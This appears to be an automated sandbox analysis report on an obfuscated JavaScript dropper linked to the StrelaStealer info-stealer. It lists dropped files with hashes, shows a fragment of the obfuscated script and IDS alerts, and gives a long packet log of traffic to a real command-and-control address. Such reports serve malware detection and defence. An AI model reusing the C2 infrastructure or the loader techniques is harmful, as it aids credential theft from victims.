Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6cfa5f36-f00a-4e05-bb23-b8eccde86853.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16981), with CRLF line terminators
Entropy (8bit):	4.914644483019366
TrID:
File name:	253742123626823892.js
File size:	20'426 bytes
MD5:	d91af96c0d7dc045f7545c1dadf277aa
SHA1:	086755abd3c90dfecf3ab0cf4d2b139ba61fa1c4
SHA256:	075154ad14220f7466d86639857ce2fa8c9c3d58d91d232e482ea938e6faeddb
SHA512:	937c192e654a70b64b23c307dc2876479a76f8b73b871ea6867ab681293371c1072d807be5f8f7fcd42423deeb6b2dfd9b550dea0867bc4a7ff7a7a8760c182b
SSDEEP:	384:MuvhJWPjNeKAqKw8/KbLnpJsPTk8pRfxr7:vvhyw/KbLnpJsPTk8z9
TLSH:	39928754FCA64FAB9BF4A9F05BD90483E1DC028D9D584389096600CBD7CE7B490EB977
File Content Preview:	function ckdwcw(){geakfbjf=[1031,3079,5127,4103,2055,3072];var lasolif=this[hwxas+lfabe+cjpqyeclb+kddpa+tuyrfatw+tmgvu+yltikb+utpwhpp](this[bbdpnivqx+pkjueo+vqalraj+cjpqyeclb+khglhdy+hwxas+utpwhpp][ihppaid+cjpqyeclb+tuyrfatw+lfabe+utpwhpp+tuyrfatw+rhvtq+i

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:06:24.671777+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:06:24.671777+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T02:06:27.288244+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:06:23.865585089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:23.870580912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:23.870740891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:23.873558044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:23.878406048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671653986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671674013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671689034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671776056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671777010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.671823025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671839952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671885967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.671886921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.671899080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671915054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671931028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671947002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.671988010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.671988010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.676681042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.676697016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.676764965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.726175070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.726202965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.726218939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.726273060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.797095060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797142982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797159910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797177076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797360897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.797403097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797415972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797482014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.797646999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797689915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797707081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797727108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797733068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.797741890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.797804117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.798496008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.798511982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.798527002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.798564911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.798580885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.798584938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.798598051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.798654079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.799346924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.799371958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.799392939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.799408913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.799431086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.799475908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.812891006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.851694107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.851722002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.851737976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.851747036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.851766109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.851840019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.883871078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.883884907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.884080887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.922749043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.922787905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.922802925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.922818899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.922976971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.923018932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923034906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923049927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923079967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923095942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923110008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.923110962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923161983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.923824072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923839092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923855066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923870087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923886061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923901081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923917055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.923957109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.923957109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.923957109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.924607038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924623013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924639940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924659967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924674034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924679041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.924690962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924705029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.924755096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.924760103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.924813986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.925493002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925522089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925537109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925569057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.925597906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925611973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925627947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.925649881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.925677061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.925683022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926409960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926424026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926440954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926455975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926460028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.926471949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.926505089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.926505089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.938419104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.938435078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.938452005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.938500881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.977094889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977118969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977163076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977189064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.977209091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977226019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977247000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.977257967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977273941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977288961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977313042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.977313042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:24.977654934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977678061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:24.977720022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.009615898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.009630919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.009754896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.048794985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048820972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048836946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048852921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048876047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048891068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.048892975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048907995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.048943996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.048943996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049042940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049092054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049107075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049108982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049151897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049154997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049171925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049204111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049279928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049340010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049410105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049554110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049577951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049592972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049628973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049643993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049673080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049673080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049777985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049794912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049808979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.049828053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.049871922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.050133944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050782919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050800085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050818920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050833941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050834894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.050849915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050860882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.050864935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050880909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050893068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.050894976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050947905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050964117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.050964117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.050976038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.051068068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.051068068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054106951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054130077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054156065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054171085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054177046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054187059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054212093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054229021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054229021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054244041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054260969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054260969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054275036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054290056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054291010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054306984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054316998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054322958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054337978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054352999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054359913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054368019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054377079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054392099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054409981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054429054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054444075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054457903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054461002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054461002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054474115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054488897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054503918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054517031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054517031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054519892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054534912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054547071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054549932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054564953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054582119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054595947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.054606915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054606915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.054660082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.057255030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.063975096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064069986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064085007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064101934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064116001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.064131975 CET	80	49704	193.143.1.205	192.168.2.8
